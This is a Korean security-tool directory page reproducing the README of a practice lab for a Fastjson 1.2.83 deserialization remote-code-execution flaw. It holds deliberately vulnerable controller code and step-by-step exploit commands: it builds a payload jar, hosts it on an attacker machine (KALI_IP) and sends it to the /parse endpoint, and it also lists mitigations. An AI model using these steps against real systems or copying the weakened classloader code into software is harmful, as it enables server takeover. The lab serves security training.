Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE 실습 환경 (CVE-2026-16723) | Kitploit
도구/GitHubGitHub/why-success/fastjson-rce-lab
Vulnerability AnalysisWeb Application ExploitationCTFLearning & EducationLabs & Practice
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE 실습 환경 (CVE-2026-16723)

저장소 보기
323일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Fastjson 1.2.83 RCE 실습 환경 (CVE-2026-16723)

고지사항: 본 실습 환경은 승인된 환경에서의 보안 연구, 교육 시연 및 방어 구축 용도로만 제공됩니다. 승인되지 않은 대상을 무단으로 테스트하는 것은 불법일 수 있으며, 사용으로 인한 결과는 사용자 본인이 책임집니다.

취약점 개요

항목내용
CVECVE-2026-16723 (CVSS 9.0)
영향 버전Fastjson 1.2.68 ~ 1.2.83
취약점 유형역직렬화 원격 코드 실행 (RCE)
핵심 특징Gadget-free (타사 클래스 라이브러리에 의존하지 않음)
완전 RCE 조건JDK 8 + Spring Boot Fat-JAR + SafeMode 비활성화

실습 환경 설명

  • Fastjson 1.2.83
    • SafeMode 비활성화 (기본 상태)
  • Spring Boot fat-JAR 패키징 (LaunchedURLClassLoader 포함, 익스플로잇 체인 필수 구성 요소)
  • 수정된 핵심 라인: ParseController가 JSON.parse()를 호출하기 전에 스레드 ClassLoader를 LaunchedURLClassLoader로 전환합니다 (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())). 이는 @JSONType 탐지 경로가 원격으로 클래스를 로드할 수 있기 위한 필수 전제 조건입니다.
  • /parse (JSON.parse) 및 /parseObject (JSON.parseObject) 두 개의 파싱 엔드포인트 제공

환경 요구 사항

  • JDK 8 (완전한 RCE에는 JDK 8이 필수. JDK 9+에서는 SSRF만 가능하며 완전한 RCE는 불가능)
  • 운영 체제: Windows / Linux / UOS / macOS 모두 지원
  • 메모리: 최소 256MB 여유 공간

빌드

소스에서 fat-JAR 빌드 (JDK 8 + Maven 필요):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

빌드 산출물은 target/fastjson-rce-lab.jar에 있습니다.

Maven이 없다면 프로젝트에 포함된 Maven Wrapper를 사용할 수 있습니다 (mvnw 사전 설정 필요).

빠른 시작

Windows

root@kitploit:~
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

--server.port=18080 관련: 환경에 SERVER__PORT 등의 환경 변수가 존재하면 application.properties의 포트 설정을 덮어쓸 수 있습니다. 명령줄 매개변수로 강제 지정하면 포트가 올바르게 보장됩니다 (명령줄 매개변수 우선순위가 가장 높음).

JVM 매개변수 관련: -Xmx256m -XX:+UseSerialGC는 저사양 메모리 가상 머신 (예: Kali 2-4G)에서 정상적으로 실행되도록 하여 JVM 초기화 시 OOM을 방지하기 위한 것입니다. 머신 메모리가 충분하다면 제거할 수 있습니다.

시작 검증

root@kitploit:~
curl http://127.0.0.1:18080/status

예상 응답:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false이고 vulnerable: true이면 취약한 상태입니다.

엔드포인트 설명

취약점 원리

root@kitploit:~
1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE

실습 환경의 핵심 코드

root@kitploit:~
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

이 setContextClassLoader 라인이 없으면 Fastjson은 시스템 기본 AppClassLoader를 사용하므로 jar:http:// 프로토콜로 원격 클래스를 로드할 수 없습니다.

익스플로잇 재현

1단계: PoC 도구 확보

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

2단계: GenProbe.java 수정 (핵심)

저장소에 포함된 poc/GenProbe.java의 두 가지 호환성 문제가 수정되었습니다:

  1. 하드코딩된 /bin/bash -c → Runtime.exec(String) 범용 버전으로 변경 (Windows/Linux 모두 사용 가능)
  2. 크로스 플랫폼 명령 형식: Windows 실습 환경은 "cmd /c xxx" 사용, Linux 실습 환경은 "touch /tmp/pwned" 또는 "bash -c xxx" 직접 사용

3단계: probe.jar 생성 및 호스팅

전체 공격 절차는 靶场测试完整指南.md (같은 디렉터리)를 참조하세요, 포함 내용:

  • 전체 7단계 공격 수행 절차
  • 플랫폼별 명령 빠른 참조 표
  • 6가지 일반적인 오류 및 해결 방법

빠른 검증 (Windows 실습 환경 예시)

root@kitploit:~
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090

# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

수정 방안

긴급 수정: SafeMode 활성화

root@kitploit:~
# JVM 启动参数
-Dfastjson.parser.safeMode=true
root@kitploit:~
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

장기 수정: Fastjson 2.x로 마이그레이션

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2는 이 취약점의 영향을 받지 않습니다.

기타 조치

  • com.alibaba:fastjson:1.2.83_noneautotype 빌드 버전 사용
  • 애플리케이션 서버의 아웃바운드 HTTP 트래픽 차단
  • 모든 Fastjson 1.x 의존성 인스턴스 점검

기술 참고 자료

  • Kirill Firsov (@k_firsov) 공개: https://x.com/k_firsov/status/2078872293745570032
  • PoC 프로젝트: https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • 알리바바 보안 공지 (2026-07-21)
  • 텐센트 클라우드 보안 권고 (2026-07-20)
도구 다운로드
메서드경로설명
GET/실습 환경 메인 페이지 (HTML)
GET/statusFastjson 설정 상태 (JSON)
POST/parseJSON.parse(body) — 주요 취약점 트리거 엔드포인트
POST/parseObjectJSON.parseObject(body) — 예비 트리거 엔드포인트